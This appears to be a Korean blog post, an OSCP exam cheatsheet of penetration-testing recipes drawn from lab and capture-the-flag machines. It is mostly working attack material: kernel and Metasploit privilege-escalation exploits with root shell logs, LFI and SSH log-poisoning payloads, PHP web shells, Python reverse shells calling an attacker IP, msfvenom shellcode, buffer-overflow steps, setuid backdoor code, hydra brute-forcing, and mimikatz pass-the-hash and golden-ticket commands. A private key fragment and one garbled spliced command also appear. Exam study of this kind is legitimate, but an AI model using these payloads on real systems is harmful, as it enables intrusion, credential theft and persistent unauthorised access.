ZW/cJb7sFuwIUy5l5DkBXD9hBgRtpUSIv9he5RbJQwGuwyw5URbm3pa7z1eoRjFW
HLMVzKYte6AyyjUoWcc/Fs9fiu83+F0G36JmmFcxLFivVQwCHKhrajUc15i/XtCr
ExEDNL0igM8YnCPq4J9lXrXUanLltR464F7cJdLbkqHiqRvoFiOQi9e3CIZ86uoY
UNBupj2/njMFRuB7dEoeaQ/otHZIgCgjbP76I+/xyL/RkGxYuU0e1tpQiLxTi7kF
nJ1Rd55Gd+DvzuBiI9F+fxa4+TSQvRvQEzJIKowbPw6h82Cd66yFju8c2AKiaDie
F+AqVim3AgMBAAECggEBAIr2Ssdr1GY0hDODvUnY5MyXoahdobGsOVoNRvbPd0ol
cUDBl/0MSOJZLr+7Apo3lbhEdEO4kkOEtlVQ0MGKtSkcmhFo5updvjbgqPYKk0Qr
SqGmLuAQdoQt78Q4Pqg13MbRijfs8/BdRIPTE7SVYVxYNw4RQQ65EUv45gvuN7ur
shV5WSHVaN5QyUHyOTKcvFuBqxb9Mfo2NtRGZCG2QuG8V/C+k2k8+Q+n2wDaOXw8
sIWKVMHngOMcW1OBnM3ac/bTeI2+LI5cMsBZqYlLmkH1AOlnCgpH7389NbRQQJSo
sExX51v5r2mmI1JdzszwQYqRfH7+nugDRjBEN2ztqFECgYEA4eBiLFP9MeLhjti8
PDElSG4MVf/I9WXfLDU79hev7npRw8LE0rzPgawXOL8NhTbp8/X1D071bGaA3rCU
oBEEPclXlSwXHroZVjJALDhaPrIfFT6gBXlb9wAYSzWYED4LKXDuddVChrTo4Lmx
XaHb/KM7kpPuUWr+xccEEuNJBnMCgYEAuOduxGz2Ecd+nwATsZpjgG5/SwLL/rd0
TEMNQbB/XUIOI8mZpw5Dn1y71qCijk/A+oVzohc6Dspso4oXLMy0b+HCFPTKuGgg
Hf8QV5YbDg0urH8KNNEEH7Dx/C6cp6vVAcj6eQ2wOwW62yVY8gy2elWH0gte1BXl
hHiKIaLueq0CgYEAoAwi4+/7Ny7gzhvKfQgBt+mqOgGM/jzZvnRV8VDlayAm8YP/
fKcmjWZH6gCN7vdzHFcJ9nfnNJEI/UG3fhewnqscsOlV1ILe0xG2IN8pKsWBescu
EdLlFAZwMFJgVhnwRMPtY3bhtZtYa2uIPqUiwEdVPc4uDmi276LNwyhjJPsCgYA7
ANcO5TpMiB12vX6LURnpVNlX5WeVO5Nn9omXaavq5XY/o0hdz6ZyhxQFtDLLONX6
23T/x2umZp/uO9WTXStC/IaDS24ZFFkTWV4spOCzRi+bqdpm6j/noP5HG9SviJyr
Oif7Uwvmebibz7onWzkrpnl15Fz5Tpd0A0cI3sY87QKBgQDLZ9pl505OMHOyY6Xr
geszoeaj4cQrRF5MO2+ad81LT3yoLjZyARaJJMEAE7FZxPascemlg9KR3JPnevIU
3RdMGHX75yr92Sd8lNQvSO6RWUuRnc889xN1YrpPx5G1VppIFqTrcB0gAiREkeUA
pHiPhbocjixKJz9xx+pG0jDkrg==
-----END PRIVATE KEY-----
11. gpg 파일 복호화
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
passphrase 알아야 복호화 가능하다.
#################################################################################
* Kernel / System / Service
#################################################################################
1. chrootkit
전제) reverse_tcp로 세션 연결이 되어 있는 상황
meterpreter> background (현재 세션을 유지한 상태에서 다른 작업이 가능하도록 백그라운드로 돌림)
meterpreter> use exploit/unix/local/chrootkit
msf> set SESSION 1
msf> set LHOST 192.168.20.4
msf> set LPORT 8080
msf> set payload cmd/unix/reverse
msf> exploit
접속 후 주요 명령어 :
$ python -c 'import pty;pty.spawn("/bin/bash")'
1-2) 안될 수 있음
$ echo '#!/bin/bash' > update
$ echo 'chown root /tmp/test' >> update
$ echo 'chgrp root /tmp/test' >> update
$ echo 'chmod u+s /tmp/test' >> update
$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
$ ls -ls /etc/sudoers
1-3) 받은 파일 컴파일
$ gcc -o root root.c
1-4)update 파일 권한 부여
$ chmod +x update
1-5) 데일리 크론탭 실행
$ run-parts /etc/cron.daily
1-6) 쉘 코드 실행
$./root
2. RIPS 0.53 공략 : 웹 php 취약점, url 파라미터로 붙여 사용 (LFI)
# searchsploit -m php/webapps/18660.txt
사용 방법 :
http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd
http://localhost/rips/windows/function.php?file=../../../../../../etc/passwd
상대방 정보가 들어있는 파일 경로를 알아야 함!
2-1 LFI가 가능한 경우
/etc/passwd가 안 읽히면
/var/log/auth 를 읽어
openssh 열려있는지 확인
있으면 ssh log poisoning 공격 가능
# ssh '<?php system($_GET['cmd'])'; ?>'@192.168.10.22
3. OpenDocMan v1.2.7
4. phptax
5. cuppa cms
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt
6. Linux 3.13 : Local Privilege escalation (CVE-2015-1328)
$ wget https://www.exploit-db.com/download/37292
> 컴파일 시킨 후 실행하면 root
> nc로 옮겨 받을 경우 /tmp 폴더에서 작업
(linux 3.19) 우분투 ubuntu 14.04 - linux kernel 4.3.3
smeagol@192.168.10.45's password:
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686)
smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 athlon i686 GNU/Linux
┌──(root💀takudaddy)-[/study]
└─# searchsploit -m linux/local/39166.c 2 ⚙
Exploit: Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1)
URL: https://www.exploit-db.com/exploits/39166
Path: /usr/share/exploitdb/exploits/linux/local/39166.c
File Type: C source, ASCII text, with CRLF line terminators
Copied to: /study/39166.c
smeagol@LordOfTheRoot:~$ wget http://192.168.10.10/39166.c
--2021-04-11 23:38:49-- http://192.168.10.10/39166.c
Connecting to 192.168.10.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2789 (2.7K) [text/x-csrc]
Saving to: ‘39166.c’
100%[===================================================>] 2,789 --.-K/s in 0s
2021-04-11 23:38:49 (508 MB/s) - ‘39166.c’ saved [2789/2789]
smeagol@LordOfTheRoot:~$
smeagol@LordOfTheRoot:~$ ls
39166.c Documents examples.desktop Pictures Templates
Desktop Downloads Music Public Videos
smeagol@LordOfTheRoot:~$ gcc -o attack 39166.c
smeagol@LordOfTheRoot:~$
smeagol@LordOfTheRoot:~$ chmod +x attack
smeagol@LordOfTheRoot:~$ ./attack
root@LordOfTheRoot:~#
root@LordOfTheRoot:~# id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)
root@LordOfTheRoot:~# cd /root
root@LordOfTheRoot:/root# ls
buf buf.c Flag.txt other other.c switcher.py
root@LordOfTheRoot:/root# cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
7. Linux ubuntu 4.10.0-28-generic
(다른 버전도 많음 github.com/kkamagui/linux-kernel-exploits)
or
> Linux - BPF Sign Extension Local Privilege Escalation (Metasploit)
payload => linux/x86/meterpreter/reverse_tcp
8. libreNMS
LibreNMS 1.46 - 'addhost' Remote Code Execution 47044.py
9. mysql
mysql is runing as root so i tried MySQL 4.x/5.0 - User-Defined Function Local Privilege Escalation Exploit
it is exploit that gets mysql to run system commands
cat /usr/share/exploitdb/platforms/linux/local/1518.c
copied it into VM
# gcc -g -c raptor_udf2.c
# gcc -g -shared -Wl,-soname,raptor_udf2.so -oraptor_udf2.so raptor_udf2.o -lc
# mysql -u root -p (password : darkshadow )
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/smeagol/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
mysql> select do_system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');
mysql> exit
# sudo bash
# whoami
root
# cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
#################################################################################
* Brute Force / Payload / Shell Code
#################################################################################
1. hydra 사용법 : SSH (안되면 ftp로 시도)
# hydra -L user.txt -P passwd.txt 192.168.10.8 ssh -t 3
# hydra –l username –P /usr/share/wordlists/rockyou.txt 192.168.1.102 ssh
# hydra -L users.txt -p plkac ssh://192.168.20.3
# hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://192.168.20.5 -t 2
# xhydra &
┌──(root💀takudaddy)-[/study]
└─# hydra 192.168.10.37 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l ignore -P /usr/share/wordlists/rockyou.txt
┌──(root💀takudaddy)-[/htb/n]
└─# hydra -l admin -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^,password=^PASS^:Incorrect username"
http-form-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -vV -f
$ hydra -l root@localhost -P /usr/share/wordlists/dirb/common.txt 10.11.1.39 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=300&User=^USER^&Password=^PASS^:Login Failed" -V
2. Payload : weevely
# weevely generate passwd /attack/backdoor.php
3. php shell 코드 (mysql로 상대 DB 접속 가능한 경우) : 코드 업로드 > 리스너 기동 > 파일 실행
3-1) 코드 짜서 16진수로 바꾸지 않고 올리는 경우
mysql> SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE "/var/www/https/blogblog/wp-content/uploads/shell.php";
3-2) 코드 짜서 16진수고 바꿔준 후 올려야 하는 경우
<? php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>$cmd<pre>";
die;
}
>?
위 코드를 hex string(16진수)으로 변환
# echo -n $(cat cmd.php) | xxd -p
mysql 접속해 위 hex 코드를 injuection
> SELECT 0x[16진수로바꾼코드] INTO OUTFILE '/var/www/https/blogblog/wp-content/uploads/cmd.php';
3-3) 해당 경로로 이동
3-4) 리스너 기동
# nc -lvp
4. 파이썬 쉘 코드
: 상대편 서버에 올리고 우리쪽에서 nc로 대기 > 프로그램 실행시키면 붙는다
import os
import sys
os.system("nc -e /bin/bash 192.168.10.10 8989")
or
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.10",8989))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
5. passing the hash in windows 해쉬 넘기기 pass the hash attack
# pth-winexe
# pth-winexe -U offsec%offsec%61fc5cc76eab45fcf27f8b0c01386132:2892d26cdf84d7a70e2eb3b9f05c425e //192.168.160.10 cmd
###########################################################################
* Buffer Over Flow
###########################################################################
Brainpan(https://blog.naver.com/takudaddy/222275481598)
1. 검색 작업 :
메이져 포트 없음 - ex) notables are 9999,10000
nc 적극 써야함
# nc 192.168.10.6:9999
숨은 디렉터리 있고 exe 실행파일 있음
# webenum.sh (nikto / wfuzz/ dirb)
# wget http://192.168.10.6:10000/bin/brainpan.exe
# file brainpan.exe
> PE32 Executable for MS Windows
# string brainpan.exe | grep strcpy (print 가능한 문자열 파일검색)
> strcpy = 취약함수
실험
# wine brainpan.exe : 서버 소켓이 생성되고 9999포트에 바인딩 됨
# nc 127.0.0.1 9999
버퍼에 값이 저장되는것 확인
2. 디버깅 작업 : Immunity Debugger (와인 재설치 https://wiki.winehq.org/Debian)
공격 절차 = 디버깅 작업으로 BOF 공격에 필요한 값을 얻은 후 원격으로 타킷 서버를 공격
디버깅 절차 =
* offset(두 번째 주소를 만들기 위해 기준이 되는 주소에 더해진 값) 찾기
* EIP / ESP 찾기
* JMP ESP 찾기
* Shell Code 삽입
3. 퍼징 툴 사용 : 터미널 두 개 혹은 터미널 + 이뮨디버거 동시에 띄운다.
/script/Bof/fuzz.py : 버퍼에 A 100개씩 보내면서 충돌지점 찾는다. 충돌지점에서 에러메시지 나옴
4. offset 값 찾기
4-1) uniqe string 생성
# locate pattern_create
# usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600(이 숫자는 충돌 지점에 따라 다름)
4-2) 프로그램에 버퍼 값 넣기
# buffer_skel.py
4-3) 이뮨디버거 열고 위 프로그램 실행 :
> 문자열이 카피되면서 BOF가 일어나고 이뮨 디버거 1번 어셈블리 패널 보이지 않게 됨
> 2번 레지스터 패널에서 EIP값 확인
> metasploit pattern_offset으로 정확한 바이트 사이즈 확인가능
# locate pattern_offset
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35624134
> 정확한 offset 값 보여줌 : ex) 524
5. 메모리 구조파악
5-1) EIP 채우기
> 스켈레톤 파일 열기
> 버퍼값 : 'A' * 524 + 'B' * 4 + 'C' *(600-524-4)
5-2) 디버거 재실행 + 프로그램 실행
> 2번 레지스터 패널에서 ESP 우클릭 > follow in Dump 선택 > 3번 패널에서 ESP의 메모리 내용 확인(C,43 이 시작된 지점 확인 가능)
5-3) ESP 내 쉘코드 띄울 수 있는 여유공간 있는지 확인
> 스켈레톤 프로그램 버퍼의 C 공간을 늘려 확인 > 'C' * (1400 -524 -4) > 프로그램 실행 > 디버거에서 ESP 우클릭 > follow in Dump로 정상적으로 받는지 확인
여기까지 offset / EIP / ESP 확인까지 완료
6. Bad Character
6-1)
shell = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
이를 shell 변수로 넣어 스켈레톤 버퍼값으로 넣는다
> buffer = 'A'*524 + 'B'*4 + shell
6-2) 이뮨디버거 재실행 + 프로그램 실행
JMP ESP 포인트 찾기 : 이 부분은 하나밖에 없고 해당 값은 절대 변하지 않는다.
> 이 값을 복사 > 리틀 엔디언 방식으로 B 자리에 넣기 (쉘 실행 포인트임)
> 스켈 프로그램 : buffer = 'A'*524 + '\xF3\x12\x17\x31' + 'C'*(1400-524-4)
6-3) 이뮨디버거 실행 + 프로그램 실행
> JMP ESP 부분 브레이크 포인트 > 입력 정상적으로 되는지 확인 > 쉘코드 삽입
7. Shell Code 작성 및 삽입
7-1) payload 생성
# msfvenom -p linux/x86/shell/reverse_tcp -b \x00 LHOST=192.168.10.4 LPORT=8080 -f python
> 생성된 코드 스켈레톤 프로그램에 버퍼값으로 넣기 : buffer = 'A'*524 + '\xF3\x12\x17\x31' + '\x90'*20 + buf
7-2) Listener 생성
# cat << EOF >> listener.rc
> use exploit/multi/handler
> set payload linux/x86/shell/reverse_tcp
> set LHOST 192.168.10.4
> set LPORT 8080
> set ExitSession false
> exploit
7-3) 리스너 기동
# msfconsole -q -r listener.rc
7-4) 스켈레톤 프로그램 기동
> 접속
8. root 탈취
> LinuxPrivEnum.sh 돌리기
> sudo /bin/bash
> sudo -l
ex) manual vi 가 되면
!bash
쉘 코드 생성 방법
# msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'
┌──(root💀takudaddy)-[~]
└─# msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=13, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes
\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x2c\x3f\xab\xb5\xb3\x46\x11\xf4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x46\x04\xf3\x2c\xfb\xfd\x3e\x96\x45\x51\x84\xc6\xdb\x46\x42\xbc\xa5\xd8\xc3\x98\xd0\x46\x11\xbc\xa5\xd9\xf9\x5d\xbb\x46\x11\xf4\x03\x5d\xc2\xdb\x9c\x35\x79\xf4\x7a\x68\xe3\x3c\x55\x49\x14\xf4
백도어 코드
혹 관리자 권한 획득은 했는데
루트 유저로 전환은 안되었을 때
#include <unistd.h>
#include <stdlib.h>
main()
{
setuid(0);
setgid(0);
system('/bin/bash');
}
or
#include <unistd.h>
#include <stdlib.h>
main()
{
setuid(0);
setgid(0);
execvp('/bin/sh', NULL);
}
vi
/tmp/backdoor.c
int main()
{
char *cmd[2];
cmd[0]=\"/bin/sh\";
cmd[1]=(void *)0;
setreuid(3004,3004);
execve(cmd[0],cmd,cmd[1]);
}
gcc -o /tmp/". " /tmp/backdoor.c
chmod 6755 /tmp/". "
레이스 컨디션용 코드
runtarget.c
#include <unistd.h>
int main(void)
{
int i;
for(i=0; i<10; i++)
{
system("/usr/bin/level5 &");
}
}
or
#include <stdlib.h>
int main()
{
while(1) system("/usr/bin/level5");
return 0;
}
attack_target.c
#include<unistd.h>
int main()
{
int i;
system("touch /tmp/18pass.txt");
for(i=0; i<=10; i++)
{
system("ln -s /tmp/18pass.txt /tmp/level5.tmp");
}
system("cat /tmp/18pass.txt");
system("rm -rf /tmp/18pass.txt");
}
or
#include <stdlib.h>
int main()
{
system("touch /tmp/level6");
while(1) system("ln -s /tmp/level6 /tmp/level5.tmp");
return 0;
}
vi attack_target.sh
#!/bin/bash
#
# # gcc -o Attack_Target Attack_Target.c
# # gcc -o runTarget runTarget.c
# # ./Attack_Target.sh
#
./runTarget &
./Attack_Target
윈도우 명령어
C: > Get-WmiObject win32_service | Select-Object Name, State, PathName
| Where-Object {$_.State -like 'Running'}
C: > icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
C: > move adduser.exe "C:\Program Files\Serviio\bin\ServiioService.exe"
C: > net stop service
C: > whoami /priv
C: > whoami /groups
C: > net user admin password
C: > powershell.exe Start-Process cmd.exe -Verb runAs
C: > net localgroup Administrators
C: > shutdown /r /t 0
C: > systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" (버전체크)
C: > driverquery /v (인스톨된 드라이버 검색, searchsploit으로 코드 검색)
C: > cd "C:\Program Files" (들어가 해당 드라이버 있는지 재확인)
C:\Program Files\USBPcap.inf > type USBPcap.inf (드라이버 내용 검색)
C:\Windows\System32\DRIVERS 경로에 일반적으로 있다,.
msfconsole
$ msfconsole -q -x "use exploit/multi/handler; set RHOST 192.168.160.10; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.119.160; exploit"
$ grep "CRON" /var/log/cron.log
Powerview
> Get-DomainComputer | % {Resolve-DnsName $_.cn | Select Name, IPAddress}
Powershell
mimikatz
# privilege::debug
# sekurlsa::logonpasswords
# token::elevate
# lsadump::sam
# lsadump::lsa
# klist
# kerberos::purge
# kerberos::list
# sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:PowerShell.exe
# kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563-1103 /target:CorpWebServer.corp.com /service:HTTP /rc4:2892d26cdf84d7a70e2eb3b9f05c425e /ptt
Invoke-Kerberoast -OutputFo# kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563-1103 /target:CorpWebServer.corp.com /service:HTTP /rc4:2892d26cdf84d7a70e2eb3b9f05c425e /pttrmat john | Select-Object -ExpandProperty hash |% {$_.replace(':',':$krb5tgs$23$')}
Invoke-Kerberoast -OutputFormat john | Select-Object -ExpandProperty hash |% {$_.replace(':',':$krb5tgs$23$')}
'OSCP > OSCP 공부일지' 카테고리의 다른 글
OSCP 공략 Cheatsheet (v.02) (0) | 2021.04.19 |
---|---|
OSCP 등록 과정 날짜 선택 변수 | 등록 완료 (4) | 2021.04.16 |
OSCP 코스 등록을 앞두고 (2) | 2021.04.15 |
OSCP 버퍼오버플로우 공부 시작 (0) | 2021.03.13 |
OSCP 자격증 공부 계획 (4) | 2021.03.01 |